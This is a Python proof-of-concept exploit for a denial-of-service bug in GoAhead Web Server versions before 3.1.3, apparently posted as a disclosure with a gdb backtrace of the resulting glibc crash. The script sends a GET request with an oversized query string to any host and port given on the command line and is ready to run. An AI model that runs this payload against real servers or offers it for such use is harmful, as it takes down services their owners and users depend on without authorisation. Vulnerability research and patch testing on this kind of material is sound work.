#!/usr/bin/python ''' GoAhead Web Server version prior to 3.1.3 is vulnerable to DoS. A fix exists for version 3.2. The Web Server crashes completely once this requests is received. The vulnerability doesn't seem to be exploitable on Linux versions ... could be wrong :) ! Official Issue Post: https://github.com/embedthis/goahead/issues/77 (gdb) bt #0 0x00007ffff7a50425 in __GI_raise (sig=) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64 #1 0x00007ffff7a53b8b in __GI_abort () at abort.c:91 #2 0x00007ffff7a8e39e in __libc_message (do_abort=2, fmt=0x7ffff7b98748 "*** glibc detected *** %s: %s: 0x%s ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:201 #3 0x00007ffff7a98b96 in malloc_printerr (action=3, str=0x7ffff7b98838 "munmap_chunk(): invalid pointer", ptr=) at malloc.c:5039 #4 0x00007ffff7fdc607 in termWebs (wp=0x40cfc0, reuse=) at src/http.c:457 #5 0x00007ffff7fdc91b in reuseConn (wp=0x40cfc0) at src/http.c:520 #6 complete (wp=0x40cfc0, reuse=1) at src/http.c:575 #7 0x00007ffff7fdd85f in websPump (wp=0x40cfc0) at src/http.c:837 #8 0x00007ffff7fdeac8 in readEvent (wp=0x40cfc0) at src/http.c:797 #9 socketEvent (wptr=0x40cfc0, mask=2, sid=) at src/http.c:735 #10 socketEvent (sid=, mask=2, wptr=0x40cfc0) at src/http.c:723 #11 0x00007ffff7fdee38 in websAccept (sid=1, ipaddr=0x7fffffffd990 "127.0.0.1", port=54172, listenSid=) at src/http.c:714 #12 0x00007ffff7feb66a in socketAccept (sp=0x40cb80) at src/socket.c:327 #13 0x00007ffff7feb7c8 in socketDoEvent (sp=0x40cb80) at src/socket.c:639 #14 socketProcess () at src/socket.c:623 #15 0x00007ffff7fd93ed in websServiceEvents (finished=0x4030f0) at src/http.c:1290 #16 0x00000000004012ee in main (argc=, argv=0x7fffffffdfd8, envp=) at src/goahead.c:146 ''' import socket import os import sys import struct HOST = sys.argv[1] PORT = int(sys.argv[2]) crash = '?'*1 + 'A' * 1000 payload = 'GET ' + crash + ' HTTP/1.1\r\n' payload += 'Host: ' + HOST + ':' + str(PORT) + '\r\n\r\n' expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect((HOST,PORT)) expl.send(payload) data = expl.recv(1024) print data expl.close()